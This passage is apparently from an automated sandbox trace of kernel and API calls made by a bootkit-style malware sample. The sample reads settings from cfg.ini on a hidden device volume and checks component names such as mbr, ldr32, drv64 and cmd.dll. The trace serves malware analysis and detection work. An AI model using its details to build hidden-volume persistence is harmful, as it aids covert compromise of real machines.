(Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.924] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.924] KeEnterCriticalRegion () [0124.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.924] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.924] KeLeaveCriticalRegion () [0124.924] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.924] KeEnterCriticalRegion () [0124.924] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.924] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.924] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.924] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.924] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.924] IdePortDispatch () returned 0x103 [0124.924] KeWaitForMutexObject () returned 0x0 [0124.924] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.924] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.925] KeLeaveCriticalRegion () [0124.925] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.925] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.925] KeEnterCriticalRegion () [0124.925] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e2000 [0124.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.925] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.925] IdePortDispatch () returned 0x103 [0124.925] KeWaitForMutexObject () returned 0x0 [0124.925] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.925] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.925] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.925] IdePortDispatch () returned 0x103 [0124.925] KeWaitForMutexObject () returned 0x0 [0124.925] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.925] KeLeaveCriticalRegion () [0124.925] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.926] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.926] KeEnterCriticalRegion () [0124.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.926] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.926] KeLeaveCriticalRegion () [0124.926] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.926] KeEnterCriticalRegion () [0124.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.926] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.926] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf46b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.926] KeLeaveCriticalRegion () [0124.926] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.926] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.926] KeEnterCriticalRegion () [0124.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.926] ExFreePoolWithTag (P=0xfffffa8003bf45f0, Tag=0x0) [0124.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.926] KeLeaveCriticalRegion () [0124.926] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.926] ReleaseMutex (hMutex=0xf0) returned 1 [0124.926] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.926] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.926] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.926] KeEnterCriticalRegion () [0124.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.926] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.926] IdePortDispatch () returned 0x103 [0124.927] KeWaitForMutexObject () returned 0x0 [0124.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.927] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.927] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.927] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.927] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.927] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be7b10 [0124.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.927] KeLeaveCriticalRegion () [0124.927] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.927] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.927] KeEnterCriticalRegion () [0124.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.927] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.927] KeLeaveCriticalRegion () [0124.927] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.927] KeEnterCriticalRegion () [0124.927] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.927] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.927] IdePortDispatch () returned 0x103 [0124.927] KeWaitForMutexObject () returned 0x0 [0124.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.928] KeLeaveCriticalRegion () [0124.928] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.928] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.928] KeEnterCriticalRegion () [0124.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.928] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e3000 [0124.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.928] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.928] IdePortDispatch () returned 0x103 [0124.928] KeWaitForMutexObject () returned 0x0 [0124.928] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.928] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.928] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.928] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.928] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.928] IdePortDispatch () returned 0x103 [0124.928] KeWaitForMutexObject () returned 0x0 [0124.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.928] KeLeaveCriticalRegion () [0124.928] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.929] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.929] KeEnterCriticalRegion () [0124.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.929] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.929] KeLeaveCriticalRegion () [0124.929] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.929] KeEnterCriticalRegion () [0124.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.929] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.929] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.929] KeLeaveCriticalRegion () [0124.929] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.929] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.929] KeEnterCriticalRegion () [0124.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.929] ExFreePoolWithTag (P=0xfffffa8003be7b10, Tag=0x0) [0124.929] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.929] KeLeaveCriticalRegion () [0124.929] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.929] ReleaseMutex (hMutex=0xf0) returned 1 [0124.929] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.929] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0124.929] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.929] KeEnterCriticalRegion () [0124.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.929] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.929] IdePortDispatch () returned 0x103 [0124.930] KeWaitForMutexObject () returned 0x0 [0124.930] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.930] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.930] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.930] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.930] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.930] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf45f0 [0124.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.930] KeLeaveCriticalRegion () [0124.930] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.930] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.930] KeEnterCriticalRegion () [0124.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.930] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.930] KeLeaveCriticalRegion () [0124.930] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.930] KeEnterCriticalRegion () [0124.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.930] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0124.930] IdePortDispatch () returned 0x103 [0124.930] KeWaitForMutexObject () returned 0x0 [0124.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.931] KeLeaveCriticalRegion () [0124.931] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.931] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.931] KeEnterCriticalRegion () [0124.931] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.931] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035e4000 [0124.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.931] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.931] IdePortDispatch () returned 0x103 [0124.931] KeWaitForMutexObject () returned 0x0 [0124.931] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.931] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.931] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.931] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.931] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0124.931] IdePortDispatch () returned 0x103 [0124.931] KeWaitForMutexObject () returned 0x0 [0124.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.931] KeLeaveCriticalRegion () [0124.931] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.932] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.932] KeEnterCriticalRegion () [0124.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.932] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.932] KeLeaveCriticalRegion () [0124.932] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.932] KeEnterCriticalRegion () [0124.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.932] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.932] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3d60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.932] KeLeaveCriticalRegion () [0124.932] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.932] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.932] KeEnterCriticalRegion () [0124.932] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.932] ExFreePoolWithTag (P=0xfffffa8003bf45f0, Tag=0x0) [0124.932] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.932] KeLeaveCriticalRegion () [0124.932] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.932] ReleaseMutex (hMutex=0xf0) returned 1 [0124.932] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0124.932] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0124.932] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0124.932] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.933] KeEnterCriticalRegion () [0124.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.933] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.933] IdePortDispatch () returned 0x103 [0124.933] KeWaitForMutexObject () returned 0x0 [0124.933] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.933] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.933] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.933] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.933] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.933] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.933] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.933] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.933] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.933] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0124.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.933] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0124.933] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.933] KeLeaveCriticalRegion () [0124.933] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.933] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0124.933] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0124.933] KeEnterCriticalRegion () [0124.933] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.933] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.933] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.933] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.933] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0124.933] IdePortDispatch () returned 0x103 [0124.934] KeWaitForMutexObject () returned 0x0 [0124.934] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.934] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0124.934] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.934] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.934] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0124.934] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.934] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0124.934] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.934] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0124.934] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) 